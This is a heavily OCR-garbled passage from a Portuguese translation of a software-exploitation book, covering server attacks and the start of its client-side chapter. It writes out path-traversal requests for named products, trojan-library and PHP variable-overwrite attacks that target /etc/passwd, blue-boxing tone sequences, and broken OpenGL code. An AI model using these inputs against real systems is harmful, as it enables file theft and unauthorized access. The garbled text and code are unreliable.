Web de todos os tipos e tamanhos sofrem desse problema. A maioria dos softwares servidores nao tern urn problema direto de percurso de caminho mas, em alguns casos raros, pode-se encontrar urn sistema que nao faz nenhum tipo de filtragem. Podemos fazer o download de arquivos utilizando o seguinte comando HTTP: GET /cgi -bin/ . ./ . ./ . ./ .. /WINNT/system32/target. exe HTTP/1. 0
Assim que isso foi relatado, a empresa corrigiu o servidor. Entretanto, como acontece em muitas situa~oes como essa, o servi~o nao passou por urn reparo completo. Uma das maneiras alternativas de executar o mesmo ataque envolve urn URL como GET /cgi -bi n/PRN/ . . / . ./ .. I . ./WINNT/system32/target. exe HTTP/1.0
Esse ataque alternativo e urn born exemplo que mostra por que detectar uma "entrada inadequada" pode ser dif.i:cil. A black list nunca e tao boa quanto a white list.
171
Capitulo 4 Explorando software servidor
0 software-alvo em questao tam bern fornece uma interface PHP baseada em scripts para urn programa de gerenciamento de rede que permite ao invasor recuperar arquivos diretamente no HTTP: http://[targethost]/modules.php?set _albumName=album01&id=aaw&op=modload&name=gallery&file=index&include= .. / . . / .. / . . / .. / .. /etc/hosts
* Exemplo de ataque: 0
sistema de arquivo do banco de dados Informix
Nao poderfamos deixar de colocar urn conhecido banco de dados na Vergonha. Tente fazer isso no banco de dados Informix:
Cal~ada
da
http:/I [target host]/ifx/?LO= . ./ . . I . ./etc/
Tecnica: Manipulando variavels de amblente As variaveis de ambiente sao outra origem comum de entradas para programas (freqiientemente negligenciada). Se o invasor consegue controlar as variaveis de ambiente, ele freqiientemente consegue causar danos graves ao programa.
Padrao de ataque: Varhiveis de ambiente controladas pelo cliente 0 invasor fornece valores antes da autentica~ao, alterando as variaveis de ambiente do processo-alvo. 0 segredo e modificar as variaveis de ambiente antes do uso de qualquer c6digo de autentica~ao.
Uma possibilidade relacionada eque, durante a sessao, ap6s a autentica~ao, urn usuario normal consegue modificar as variaveis de ambiente e obter urn acesso elevado.
* Exemplo de ataque: Variavel de ambiente do UNIX A altera<;ao da variavel de ambiente LD_LIBRARY_PATH no Telnet fara o Telnet utilizar uma versao alternativa (possivelmente urn troiano) da biblioteca de fun~oes. A biblioteca troiana deve ser acessfvel por meio do sistema de arquivos-alvo e deve incluir o c6digo troiano que permite ao usuario fazer o login com uma senha inadequada. Isso exige que o invasor carregue a biblioteca Trojan para urn local especffico do alvo. Como uma alternativa a carregar urn arquivo troiano, alguns sistemas de arquivo dao suporte a caminhos de arquivo que incluem endere<;os remotos, como \\172.16.2.100\shared_files\trojan_dll.dll. Tecnlca: Manipulando variavels "lrrelevantes" Em muitos casos, o software pode vir predefinido com varies parametres configurados por padrao. Em muitos casos, os valores-padrao sao configurados sem levar em conta a seguran<;a. 0 invasor pode utilizar esses padroes malfeitos durante urn ataque.
172
Como quebrar c6digos
Padrao de ataque: Varhivels globals fornecldas pelo usuarlo (DEBUG=l , globals no PHP etc.) Em linguagens, repletas de brechas como o PHP, varias erradamente. E prudente testar essas linguagens.
configura~oes-padrao
sao configuradas
Por razoes de conveniencia (ou seria pregui<;a?) alguns programadores podem integrar variaveis "secretas" nas suas aplica<;oes. A variavel secreta funciona como urn c6digo. Quando o c6digo secreto e utilizado, a aplica<;iio abre o cofre. Um exemplo disso e a aplica<;ao Web que faz distin<;ao entre os usuarios normais e os administradores procurando uma variavel de uma forma oculta com um determinado valor, como ADMIN=YES. Pode parecer maluquice, mas varias aplica<;oes baseadas na Web desenvolvidas internamente que sao utilizadas pelos maiores bancos do mundo funcionam dessa maneira. Esse e urn dos truques que as equipes de auditoria de software procuram. As vezes esses tipos de problema nao sao causados intencionalmente pelos programadores, mas fazem parte da plataforma ou da linguagem. Isso e o que acontece com as variaveis globais de PHP.
* Exemplo de ataque: Variaveis globais do PHP 0 PHP e urn grande exemplo de seguran<;a inadequada. A ideia predominante no PHP e a "facilidade de uso", eo mantra "nao dar ao desenvolvedor nenhum trabalho extra para fazer as coisas" se aplica a todos os casos. 0 PHP faz isso removendo o formal ismo da linguagem, permitindo a declara<;ao de variaveis na primeira utiliza<;ao, inicializando tudo com valores predefinidos e pegando todas as variaveis significativas de uma transa<;ao e tornando-as disponfveis. Nos casos de conflito com algo mais tecnico, o mais simples quase sempre prevalece no PHP. Uma das conseqiiencias de tudo isso eque o PHP permite que os usuarios de uma aplica<;ao Web sobrescrevam variaveis de ambiente com variaveis de consulta naoconfiaveis, fornecidas pelo usuario. Portanto, valores crfticos como o CWD e o caminho de busca podem ser sobrescritos e controlados diretamente por urn usuario an6. mmo remoto. Outra conseqiiencia semelhante e que as variaveis podem ser controladas diretamente e atribufdas a partir dos valores controlados pelo usuario, fornecidos nos campos GET e POST da solicita<;ao. Dessa forma, urn c6digo aparentemente normal como esse faz coisas esquisitas: while($count < 10){
II Faz algo $count++; }
Capitulo 4 Explorando software servidor
173
Normalmente, esse loop executara o seu corpo dez vezes. A primeira itera~ao sera urn zero indefinido, e as outras passagens pelo loop teriio como resultado o incremento da variavel $count. 0 problema e que o codificador nao zera a variavel antes de entrar no loop. lsso e born porque o PHP inicializa a variavel na declara~ao. 0 resultado e urn c6digo que parece funcionar, mesmo sendo ruim. 0 problema e que urn usuario da aplica~ao Web pode fornecer uma solicita~ao como GET /login. php?count=9
e fazer o $count iniciar no valor 9, tendo como resultado somente uma passagem pelo loop. Mas que azar. Dependendo da configura<;ao, o PHP pode aceitar variaveis fornecidas pelo usuario, em vez das variaveis de ambiente. 0 PHP inicializa variaveis globais para todas as variaveis de ambiente de processo, como $PATH e $HOSTNAME. Essas variaveis sao de importancia crftica, porque podem ser utilizadas em opera~oes de arquivo ou de rede. Se um invasor puder fornecer uma nova variavel $PATH (como PATH=' jvar' ), o programa pode ser explonivel. 0 PHP tambem pode aceitar tags de campo fornecidos em solicita~6es de GET/ POST e transforma-los em variaveis globais. lsso e o que acontece com a variavel $count que exploramos no exemplo anterior. Considere outro exemplo desse problema, em que o programa define uma variavel chamada $tempfile. 0 invasor pode fornecer urn novo arquivo temponhio, como $tempfi le = "/etc/passwd". Em seguida, o arquivo tempon1rio pode ser apagado posteriormente por meio de uma chamada a unlink($tempfile);. Agora o arquivo passwd foi apagado- uma coisa muito ruim na maioria dos sistemas operacionais. Considere tam bern que o uso de include() e require() procura primeiro $PATH e que o uso de chamadas para o shell pode executar programas cruciais como Is. Dessa forma, o Is pode ser modificado maliciosamente (o invasor pode alterar $PATH para fazer com que uma c6pia troiana de Is seja carregada). Esse tipo de ataque tambem pode ser aplicado a bibliotecas carregaveis se $LD_LIBRARY_PATH for modificado. Por fim, algumas vers6es do PHP podem passar dados de usuario para o syslog como urn format string, expondo a aplica<;ao a urn buffer overflow por format string.
Tecnlca: Explorando autentica~ao fraca de sessao Alguns servidores atribuem urn ID de sessao especial ao usuario. Isso pode acontecer na forma de urn cookie (como em sistemas de HTTP), urn ID de sessao incorporado aos href de HTML ou urn valor numerico em uma estrutura. 0 usuario e identificado por esse ID, e nao por uma forma razoavel de autentica<;ao. Essa arquitetura talvez seja utilizada porque a camada de rede nao fornece urn mecanismo forte de autentica<;ao, o usuario e m6vel, ou o sistema-alva esta com a carga balanceada de urn conjunto de servidores.
174
Como quebrar c6digos
0 problema e que o ID de sessao pode ser utilizado para pesquisar o estado server-side do usuario em urn banco de dados ou cache de memoria. 0 ID de sessao tern confianc;a total. Observe que isso significa que o invasor pode utilizar urn ID solicitando recursos que sao privados ou confidenciais. Se o sistema procura apenas urn ID de sessao valido, o invasor pode ter permissao para ver os recursos protegidos. Se uma aplicac;ao mantem variaveis separadas para lD de sessao e ID de usuario, ela pode ser exploravel se urn usm1rio autenticado simplesmente alterar o ID de sessao. A aplicac;ao vera que o usuario tern credenciais- ou seja, vera que uma chave de usuario correta esta sendo utilizada. Depois que essa verificac;ao acontece, a aplicac;ao aceita cegamente o ID de sessao. Entretanto, em urn sistema multiusuario, sempre ha varias sessoes ativas. 0 invasor pode simplesmente altera.r o ID de sessao enquanto ainda esta usando uma chave de usu
Padrao de ataque: ID de sessao, ID do recurso e
conflan~a
cega
Quando a sessao e os IDs de recurso sao simples e estao disponfveis, os invasores podem se aproveitar deles. Muitos esquemas sao tao simples que o ato de colar outro ID conhecido em urn fluxo de mensagem funciona.
Ha uma variac;ao do ataque de ID de sessao em que uma aplicac;ao permite ao usuario especificar o recurso que ele quer acessar. Se o usuario puder especificar recursos que pertencem a outros usuarios, o sistema pode estar vulneravel a ataques. Exemplo de ataque: Imail da IPSwitch, confianc;a cega no Nome do Mailbox. Os recursos podem ser arquivos, registros em urn banco de dados ou ate mesmo portas e dispositivos de hardware. Em urn sistema multiusuario, os recursos podem ser arquivos pessoais e e-mail. Os sistemas de e-mail baseados na Web sao urn born exemplo de ambiente multiusuario complexo que freqiientemente utiliza IDs de sessao. A solicitac;ao de recurso pode englobar identificadores adicionais, como o nome de caixa de correio. Urn exemplo perfeito e Imail da IPSwitch, urn sistema de e-mail que fornece uma interface Web para ler e-mails. 0 usuario se autentica no sistema e recebe urn ID de sessao. Em seguida, a solicitac;ao para ler e-mail e mais ou menos assim: http://target:8383//readmail.cgi?uid=username&mbx=.. /username/Main
Alguns problemas sao evidentes. Primeiro, notamos que o usuario deve fornecer nao s6 o ID de sessao, mas tambem o nome de usuario. Na verdade, o usuario tam-
175
Capitulo 4 Explorando software servidor
bern deve fornecer urn caminho de arquivo. 0 fato de os dados de identidade serem fornecidos mais de uma vez e urn grande sinal de que ha algo errado como programa readmail.cgi. Na pratica, a solicita~ao ira funcionar mesmo que o nome de usuario seja trocado. Na verdade, a solicita~ao retorna o e-mail do outro usuario! 0 ataque e ma1s ou menos assnn: 0
Tecnlca: For~a bruta em IDs de sessao Os IDs de sessao nao podem ser faceis de adivinhar nem de prever. Os numeros previsiveis facilitam muito a vida do invasor. Os hackers desenvolveram varios truques para verificar a previsibilidade dos IDs de sessao. Urn deles, particularmente divertido, envolve o uso da analise do espa~o de fase. Analise do Espa~o de Fase Coordenada de atraso emergida e uma tecnica para fazer o grafico de uma serie de numeros unidimensionais como uma distribui~ao em algum espa~o (por exemplo: espa~o de tres). A tecnica esta em uso desde 1927, pelo menos, e e abordada em varios textos sobre sistemas dinamicos. Uma {mica variavel em urn sistema dinamico ao Iongo do tempo e medida. Depois de obter urn conjunto de amostra, e feito urn grafico do conjunto em urn espa~o multidimensional. Esse procedimento revela as rela~oes entre os dados. A tecnica oferece beneffcios imediatos para detectar a aleatoriedade em conjuntos numericos. Uma sequencia previsfvel de numeros mostra a evidencia da estrutura no espa<;o de tres. Urn conjunto aleat6rio de dados aparece como urn rufdo distribuido de modo uniforme. A equa~ao utilizada para OS graficos a seguir e: X[n] = s[n-2] - s[n-3] Y[n] = s[n-1] - s[n-2] Z[n] = s[n] - s[n- 1]
Essa equa<;ao e como urn pente que epassado em uma serie numerica (Figura 4.11). A distancia entre OS dentes e conhecida COmO 0 "retardo" que, nesse caso, e urn. 0 numero de dentes e a dimensao que, nesse caso, e tres. 0 pente em si representa 0 ponto. Conforme arrastamos o pente na serie, colocamos varios pontos no grafico. Serie numerica
Figura 4.11: Fazer a analise de espa~o de fase "'' numenca. "'' e~ como pentear uma sene
Pente
176
Como quebrar c6digos
'
, .~
..:. .. . . .•. :.. ' ' '
'
. .
..
..
... '.
'
· ··§,~ :--. :·. . .
...·.
. ·.' •
'
.. • •
'
·•.
.,
~· i. • 0 •
..... .
•
Uma plotagem tridimensional do espa~o de fase dos pontos. Os dados sao relacionados a 100.000 amostras das sequencias numericas iniciais do Mac OS-X. Essa plotagem foi criada utilizando o c6digo Windows OpenGL, que mostraremos mais adiante.9
Figura 4 .12:
A Figura 4.12 e uma captura de tela de varios milhares de pontos tornados como amostra de um servidor Mac OS X. 0 nurnero tornado como amostra e a sequencia nurnerica inicial da pilha de TCP. 0 rnelhor e que esse nurnero nao seja facil de prever. 0 grafico foi feito por meio de um programa simples criado para Windows que plota os pontos utilizando OpenGL. A distribui~ao plotada para o OS-X mostra clararnente urn padrao. Os agruparnentos de pontos localizados sao areas em que a sele~ao de um ISN e rnais provavel. Um ISN verdadeiramente aleat6rio nao apresentaria esses clusters. Urn nurnero verdadeirarnente aleat6rio e plotado na Figura 4.13 para que voce veja a diferen~a . A seqiienc.ia numerica aleat6ria tern como resultado uma distribuic;:ao uniforme no diagrama de espa~o de fase mostrado na Figura 4.13. Nao aparecem estruturas localizadas.
9. A plotagem da Figura 4.12 foi feita utilizando um con junto de dados apresentado por Michael Zalewski (http:// ra;wr. bind view.com/pu bl ish/papers/tcpseq.htm I).
Capitulo 4 Explorando software servidor
177
Uma plotagem tridimensional do espa~o de fase dos pontos aleat6rios assemelha-se a um ruldo branco.
Figura 4.13:
A leitura do conjunto de dados no visualizador de OpenGL e simples: in_file=fopen("data.bin",
Armazenamos os pontos em uma estrutura simples: typedef struct {
float } VERTEX;
x, y, z;
typedef struct {
int VERTEX } OBJECT;
verts; *POints;
OBJECT gDataset;
Tambem podemos calcular o desvio-padrao do conjunto de dados, que nos da uma medida quantitativa da aleatoriedade do conjunto. Urn conjunto altamente aleat6rio deve ter uma media muito proxima ao ponto intermediario do intervale de dados. 0 desvio-paddio deve estar muito proximo a urn quarto da faixa do conjunto de dados. float midpoint = 0xFFFFFFFF I 2; float tsd = midpoint 1 2; midpoint = midpoint I 0xFFFF; tsd = tsd I 0xFFFF; spri ntf(_c, "~lidpoint %f, tsd %f" , midpoint, tsd); MessageBox(NUll, _c, "yeah", MB_OK); float standard_deviation = 0; int ct = 0;
standard_devi ati on = standard_devi ati on/i ; mean = mean I 0xFFFF; standard_devi ati on = standard_devi ati on I 0xFFFF; sprintf(_c, "Mean average %f, standard deviation %f", mean, standard_deviation); MessageBox(NULL, _c, "yeah", MB_OK);
glClear(GL_COLOR_BUFFER_BIT I GL_DEPTH_BUFFER_BIT);
... Glfloat tx,ty,tz; glBegin(GL_POINTS); for(int i=0;i
tx=gDataset.points[i) .x * MAXX I 65535.0 I 65535 .0; ty=gDataset.points[i) .y * MAXY I 65535.0 I 65535 .0; tz=gDataset.points[i) .z * MAXY I 65535.0 I 65535 .0; g1Vertex3f(tx,ty,tz); }
glEndO; }
Tecnlca: Multlplos camlnhos de autentlca~ao Hi muito tempo, as pessoas estiio paran6icas em rela~iio a rede de Windows. E' realmente muito raro encontrar um firewall configurado para permitir os protocolos de rede do Windows. A escuta das portas de TCP 139 e 445 eum sinal revelador de uma maquina com Windows que niio tem firewall. Ha ferramentas de for~a bruta para o ataque de senha no underground que pode fazer centenas ou ate mesmo milhares de logins baseados em dicionario por segundo. 0 ataque pode levar horas ou ate mesmo dias ate que a conta seja quebrada. Talvez os administradores acreditem que ao bloquear as portas de rede do Windows eles estao se poupando desse tipo de ataque. Caso acreditem nisso, estao errados.
180
Como quebrar c6digos
Quando OS sistemas permitem varias formaS de fazer a autentica~ao, 0 ambiente torna-se mais complexo. A prote~ao de urn ponto de autentica~ao por meio de urn firewall simples torna-se complicada, mas essa ea "solu~ao" que esta sendo utilizada na pratica atualmente. Varios servidores Web, por exemplo, permitem fazer autentica~ao por meio de "adivinha~ao". No caso do Windows, o usuario remoto pode tentar autenticar como arquivo-padrao de senha. Se o servidor Web fizer parte de urn domfnio, o invasor pode chegar ao servidor Web para fazer a autentica~ao de acordo com o controlador de domfnio primario. 0 invasor pode utilizar a for~a bruta indiretamente contra o domfnio mesmo que a porta 445 esteja bloqueada. Tecnlca: Falha verlflca~ao dos codlgos de erro Varios softwares usam servi~os e bibliotecas de chamadas de API; entretanto, muitos programas nao procuram erros nos codigos de retorno. Isso pode dar origem a problemas interessantes, em que uma chamada falha mas o codigo supoe que ela foi bemsucedida. Variaveis nao inicializadas e buffers de "lixo" podem ser utilizados. Se o invasor "semeia" a memoria antes de causar uma falha de chamada, a memoria nao inicializada pode conter dados fornecidos pelo invasor. Ah~m disso, se o invasor consegue fazer a chamada de API falhar, o programa-alvo pode travar. Encontrar pontos no codigo do servidor em que os valores de retorno nao sao verificados e razoavelmente facil usando urn disassembler como o IDA-PRO.
Conclusao 0 software servidor e um alvo comum para a explora~ao de software. Os ataques remotos contra o software servidor sao extremamente comuns -tao comuns que varios ataques basicos foram codificados em ferramentas simples. Para ver uma introdu~ao mais facil sobre as partes do material que abordamos neste capitulo, leia Hacking Exposed [McClure et al., 1999]. A causa principal no "cora~ao" do problema dos softwares servidores e a questao das entradas confiaveis. Em termos simples, o software servidor que expoe a sua funcionalidade a Internet deve ser criado de forma defensiva, mas isso e raro. Em vez disso, o software servidor confia que a entrada sempre vai ser bem formada e bern intencionada. As explora~oes que atacam o software servidor tiram proveito das suposi~oes feitas por esse software para utilizar a confian~a, elevar privilegios e mexer nas configura~oes.
A arte de explora~ao de software cliente
oce pensa que e 0 invasor, entao abre uma tela e come~a a enviar comandos contra alguns endere~os IP. Mas as coisas saem terrivelmente erradas. Voce se rorna a vftima, porque agora entrou em territ6rio inimigo. Voce nao sabe como e o sistema "alvo". Voce tem uma Ieve ideia de como o software e construfdo, mas eles veem VOCe. Qualquer suposis;ao que VOCe Oll seus sistemas fa~am sobre um ataque pode ser prevista. Como eles o conhecem, podem infecta-lo com urn vfrus. Afinal de contas, seu c6digo cliente aceita o que o servidor envia! Quase sempre, voce atira para todos os lados quando entra na rede de outra pessoa. Eles podem expulsa-lo utilizando suas pr6prias conexoes. Agora inverta os papeis. Imagine sua rede sendo atacada. Cada invasor que se conecta a uma porta TCP em seu sistema esta se abrindo a um ataque. Em contrapartida, voce pode destruf-los facilmente. Mas como? Uma tecnica excelente e a exploraf2iO client-side (ou exploraf2iO do /ado do cliente).
V
Programas client-side como alvos de ataque Urn programa cliente e urn c6digo descam\vel - ou pelo menos deveria ser. Um programa cliente pode ser usado para comunicar-se com urn servidor, mas urn invasor pode utilizar um cliente modificado ou interagir diretamente com urn servidor (como vimos no Capitulo 4). Assim, o conselho de sempre e que os servidores nunca devem confiar no cliente e que o c6digo cliente nunca deve ser utilizado para implementar quaisquer prote~oes de seguran~a para o servidor. Considere o cliente como um mal. 0 uso do c6digo client-side para proteger o servidor de uma explora~ao as vezes echamado de seguranftt do client-side. Qualquer abordagem desse item quase invariavelmente alude a arquitetura de segurans;a comprometida. Felizmente, este capitulo nao e, absolutamente, sobre isso. Quando discurimos o ataque e a inje~ao client-side, referimo-nos a um tipo inteiramente diferente de "seguran~a do cliente". Nesse caso, estamos falando de urn cliente que nao-confia no servidor. Em outras palavras, o servidor talvez seja malicioso e rente comprometer o computador do usuario por meio do programa cliente. E entao?
182
Como quebrar c6digos
Urn programa cliente e freqiientemente a unica camada entre urn servidor e urn sistema de arquivo ou rede domestica do usuario inocente. Se urn servidor malicioso puder penetrar no software cliente, o servidor poden1 fazer o download de arquivos pertencentes ao usuario ou mesmo infectar a rede do usuario com urn virus. Essa ideia afeta o modelo de seguran~a, porque normalmente o objetivo da seguran~a e proteger o servidor e sacrificar o cliente. Entretanto, como desenvolvimento de s6lidas comunidades e servi~os on-line, as pessoas agora compartilham servidores publicos com estranhos. Se esses servidores nao forem seguros, possiveis invasores podem ser capazes de assumir o controle do servidor e, assim, atacar usu:irios inocentes por meio do servi~o compromerido. Pense em um servidor como urn banheiro publico. Urn programa servidor em geral aceita conexoes de milhares de clientes, permite transa~oes e armazena dados para os uswirios. Em muitos casos, o servidor permite que dados sejam transmitidos entre os clientes, como uma sessao de bate-papo ou uma transferencia de arquivos. Os clientes devem interagir com o servidor como parte necessaria de seu dia. Urn servidor parece um Iugar publico, mas de outras maneiras. Normalmente, o servidor existe em uma localiza~ao fisica diferente de um cliente, e, assim, a rede e utilizada como meio de comunica~ao. Os servidores em geral contam com os programas clientes para oferecer algum tipo de interface amigavel ao usuario para essa comunica~ao. Portanto, o servidor e os programas clientes sao, com freqiiencia, bastante inrerligados. 0 servldor controla o cllente Nos prim6rdios dos sistemas on-line, os clientes normalmente eram term inais brilhantes na cor ambar, conectados a urn mainframe na sala dos fundos - e eram "burros" . Naturalmente, os usuarios queriam ver caracteres multicoloridos e brilhantes em seu terminal, mas isso nao era posslvel; s6 havia os caracteres na cor am bar. Para fazer esse trabalho, os engenheiros desenvolveram urn c6digo de controle especial que o servidor podia urilizar para formatar os dados clienres. Os terminais nao eram tao burros assim, e muitos caracteres enviados pelo servidor podiam ser interpretados como "c6digos de controle," fazendo coisas como tocar a campainha do term inal, alimentar o papel em urn teletipo, limpar a tela etc. Os c6digos de controle sao definidos para certos tipos de terminais, incluindo vt100, vt220, adm5, ANSI e assim por diante. Essas especifica~oes determinam como o terminal interpreta as seqiiencias de caracteres para fonnata~ao especial, cores e menus. Hoje, os clientes sao incorporados em navegadores da Web, aplica~oes desktop, media players e dispositivos internos de rede. Os clientes tornaram-se programas de uso geral, desenvolvidos com uma variedade de tecnologias, incluindo c6digo CIC++, varias linguagens de cria~ao de scripts (Visual Basic [VB], Perl, rdffk) e Java. Os programas clientes estao tornando-se mais complicados e mais poderosos, mas as regras antigas de c6digos de controle fornecidos pelo servidor ainda permeiam o pro-
Capitulo 5 A arte de explorayao de software cliente
183
jeto de programas clientes. Os c6digos de controle do cliente se expandiram muito, e a Web introduziu HTML, SGML, AML, ActiveX, JavaScript, VBScript, Flash e assim por diante. Todas essas linguagens podem ser utilizadas por urn servidor para, em certo sentido, controlar o programa cliente. Hoje, urn servidor pode enviar scripts especiais para serem interpretados (executados) pelo terminal do cliente, o mais comum dos quais e o navegador Web predominante. Voce pode se lembrar de nossos avisos anteriores sobre sistemas extensfveis, como ambientes de tempo de execw;ao JVMs e .NET. Os clientes modernos quase sempre incluem extensibilidade predefinida e aceitam a insen;ao de c6digos m6veis. Este e urn material poderoso - e e precisamente esse poder que pode ser controlado por urn invasor. 1 Como urn usuario de sistema on-line, voce deve considerar as outras pessoas que estao utilizando o mesmo sistema (isto e, compartilhando o sistema com voce). 0 sistema e urn Iugar publico e os dados estao sendo compartilhados entre os participantes. Cada vez que voce visualiza uma pagina Web ou le urn arquivo, talvez esteja lendo dados fornecidos por outro participante. Portanto, o programa cliente esta lendo os dados de fontes possivelmente nao-confiaveis. Assim como urn servidor nunca deve confiar em nenhum cliente, o cliente nunca deve confiar completamente em nenhum servidor. Se urn servidor pode enviar urn c6digo especial para fazer a campainha do seu cliente tocar, imagine o que acontece quando urn dos outros usuaries do sistema envia a voce uma mensagem com esse c6digo especial incorporado a ela. Adivinhou: a campainha do seu cliente ira tocar. Os usuaries tern a capacidade de injetar dados nos programas clientes de outros usuaries do sistema. Embora o exemplo da campainha dado por n6s certamente seja comum, imagine o que acontece quando o invasor nao s6 toea sua campainha, mas, em vez disso, fornece programas inteiros em JavaScript. Honeypots
A pratica comum entre os militares e as varias organiza~oes de seguran~a e criar honeypots. Voce ja se perguntou por que encontrar websites militares etao facil? Fa<;:a uma busca em algumas redes russas por urn tempo e voce ira se deparar com alguns sites militares russos. Parece que esses sites contem informa~oes tecnicas detalhadas sobre os militares. Os 6rgaos de inteligencia colocam muitos desses sites em opera<;:ao para coletar endere<;:os IP de origem e gerar o perfil dos habitos de navega~ao dos convidados. Conhecer o tipo de dados que interessam a seu adversario pode ser muito esclarecedor. Provavelmente, voce nao ficani surpreso em saber que as varreduras de follow-up ocorrem ap6s visitar urn desses honeypots. Mas pergunte a si mesmo: por que fazer uma varredura em urn cliente quando voce pode simplesmente infecta.-lo com urn virus? 1. Naturalmente nem todos os c6digos de servidor/cliente utilizam a tecnologia de c6digos m6veis. uma grande quantidadc de programas clientes por ai, scm sistemas extensiveis incorporados.
Ha
184
Como quebrar c6digos
Em certo sentido, este capftulo e sobre infectar seus convidados com c6digo hostil. Se voce tornar o alvo suficientemente atraente, eles virao ate voce. Para entender as ramificas;oes disso, fas;a a si mesmo a seguinte pergunta: Se voce postar urn arquivo de 90MB chamado WINNT_SOURCECODE. ZIP em urn site FTP publico, quantas pessoas farao o download dele?
Sinais in-band A raiz dos problemas client-side e que OS dados que controlam urn programa cliente freqiientemente sao confundidos com dados comuns de usuario. lsto e, os dados fornecidos pelo usuario sao misturados no mesmo canal com os dados de controle. Esse problema e conhecido como sina/iza¢o in-band e e 0 problema que permitiu que OS "blue boxers" e outros hackers de telefone fizessem chamadas de longa distancia gratuitamente no final dos anos 60 e 70. Os sinais de controle in-band causam urn pesadelo de segurans;a, porque o sistema nao consegue distinguir entre dados fornecidos pelo usuario e comandos de controle. 0 problema torna-se exponencialmente pior, e os programas servidores fazem mais coisas. Quem consegue descobrir quais dados sao, na verdade, do servidor e quais sao fornecidos por urn usuario possivelmente malicioso? Historia Antiga (mas importante) Como o seguinte padrao de ataque mostra, os sinais in-band foram utilizados por invasores durante decadas.
Padrao de ataque: Sinals de comuta~ao In-band analoglca (conhecida como "Biueboxlng") Muitas pessoas ouviram falar da 2600, a freqOencia utilizada nos Estados Unidos para controlar as comuta~oes telefonicas durante os anos 60 e 70. (Pense nisso: provavelmente mais pessoas ouviram falar da revista de hackers 2600 e seu clube de s6cios do que sabre a razao para o nome do clube.) A maioria dos sistemas nao e mais vulneravel a ataques antigos de hackers. Entretanto, OS sistemas antigos ainda existem internacionalmente. As linhas-tronco internacionais que utilizam cabeamento transatlantico tendem a ter o problema de sinais in-band e sao um recurso caro demais para se abandonar. Portanto, sabe-se que muitos numeros internacionais 800/888 (chamada d ireta ao pals) tem problemas de sinais in-band ate hoje. Considere o sistema de sinaliza~ao CCITT-5 (CS) utilizado internacionalmente. Esse sistema nao utiliza os 2.600 Hz comumente conhecidos; em vez disso, utiliza os 2.400 Hz como sinal de controle. Se voce ja ouviu os "pleeps" e chiados no disco do Pink Floyd ("The Wall"), entao voce ja ouviu os sinais CS. Ha milh6es de linhas telefonicas ainda em opera~ao hoje que sao roteadas pelas comuta~6es com sinaliza~ao in-band. Esse padrao de ataque envolve reproduzir comandos especlficos de controle atraves de um link normal de voz, assumindo, assim, o controle da linha, redirecionando chamadas e assim por diante.
Capitulo 5 A a-rte de explora{:ao de software cliente
185
* Exemplo de ataque: Controle de urn sistema CS Para obter conrrole de uma linha telefonica C5, o invasor deve primeiro "apoderarse" da linha. No infcio do blueboxing, isso era realizado utilizando urn ataque de ruido de 2.600 Hz. Em um sistema C5, o truque e urn pouco mais complexo, mas e ainda muito facil. 0 invasor deve atacar com um tom de 2.400 Hz e 2.600 Hz, simultaneamente. Esse "tom composto" deve durar cerca de 150 msegs. e ser reconhecido por urn som "pleep" na extremidade remota (o som "pleep" se chama release guard). 0 invasor deve acompanhar imediatamente com urn tom forte de 2.400 Hz por cerca de 150 msegs. Os periodos de retardo entre os tons podem variar de 10 a 20 msegs. a cerca de 100 msegs. Somente a experimenta~ao revelara a sincroniza~ao exata para determinada comuta~ao. Uma vez que o tronco esteja controlado, o invasor ouvira outro som "pleep", que se origina na outra extremidade da linha. Esse som significa que a comuta~ao na outra extremidade da linha terminou a chamada em sua extremidade. A comuta~ao remota agora espera uma nova chamada. 0 invasor ainda esta conectado a comuta~ao remota, mesmo que nenhuma chamada esteja atualmenre ativa. Agora o invasor pode enviar tons para estabelecer uma nova chamada. 0 que os invasores fariam, uma vez que estabeleceram controle de uma linhatronco? Primeiro, note que urn invasor tern controle sobre a comuta~ao telefonica . Isso significa que o invasor pode discar numeros que nao estejam normalmente disponlveis a usuarios finais. Por exemplo, urn invasor pode discar numeros que se conectem a outros operadores de telefone. Algum desses operadores somente recebem chamadas de outros operadores e nunca de usuarios finais (esses sao operadores internos que direcionam as chamadas), possibilitando a engenharia social. Sistemas militares de telefonia podem infiltrar-se, levando as conexoes para areas possivelmente secretas. Uma vez que o invasor tenha se apossado da linha, a extremidade remota espera uma nova chamada. 0 invasor deve enviar tons utilizando o seguinte formato: KP2 - 44-DICRIMINATOR DIGIT -AREA CODE-NUMBER-ST
ou KPl- DISCRI MINATOR DIGIT- AREA CODE-NUMBER-ST
0 digito discriminador
e muito interessante. Ele controla como a chamada sera
roteada. Os seguintes sao dfgitos discriminadores que podem ser usados inrernacionalmente. Esses dfgitos variam dependendo do pals que esta sendo alvo do "blueboxing": 0 1
2 2
3 9
or or or or or or
00 11
22 22
33 99
- roteia via - roteia via - roteia via - roteia via - roteia via roteia via
-
conexao a cabo l ink de satel ite rede militar rede do operador microondas microondas
186
Como quebrar c6digos
Os tons utilizados para KP1, KP2 e ST sao especiais e variam, dependendo do sistema de sinaliza~ao-alvo. CS utiliza o seguinte: KP1 KP2 ST
Uma vez que o invasor discar para urn novo numero, se ocorrer urn som de "pleep" quando a chamada e atendida, o invasor pode, entao, aplicar novamente o blue boxing a conexao. Aplicando o blueboxing varias vezes, o invasor pode rotear multiplos pafses ou comuta~oes. Se o invasor rotear dois ou tres pafses, entao a chamada sera quase impossfvel de rastrear. 0 invasor pode entao realizar ataques de for~a bruta ou se conectar a portas de discagem que utilizam urn modem, sem receio de ser rastreado ate seu pais de origem. Evidentemente, esse ataque evantajoso para fins de espionagem.
Uso baslco de dados In-band Os dados in-band ocorrem em lugares que nao sao o sistema telefonico. Considere o protocolo "talk" utilizado em ambientes UNIX? 0 servi~o talk permite que urn usuario converse com outro por meio de urn canal de bate-papo. lsso e utilizado por pessoas com terminais baseados em caractere e com acesso a urn sistema multiusmirio UNIX. A questao e que certas seqi.iencias de caractere sao interpretadas como c6digos de controle pelo terminal. Dependendo do servidor da conversa, urn invasor pode ser capaz de especificar qualquer string de caracteres como a origem de uma sol icita~ao de conversa. Um usuario sera informado de que alguem quer conversar e a origem da solicita~ao aparecera na tela. Urn invasor pode especifi.c ar certos c6digos de controle na string de identifica~ao, fazendo, assim, com que a solicita~ao de conversa leve c6digos de controle para o terminal. Essa era uma fonte de muita diversa.o nas redes das universidades nos anos 80, quando os alunos se bombardeavam com c6digos de controle que faziam com que a tela das vftimas apagasse ou que o terminal fizesse urn bip. Eis uma tabela de c6digos de escape de exemplos de terminais VT. Cada c6digo assume a forma: ESC[Xm
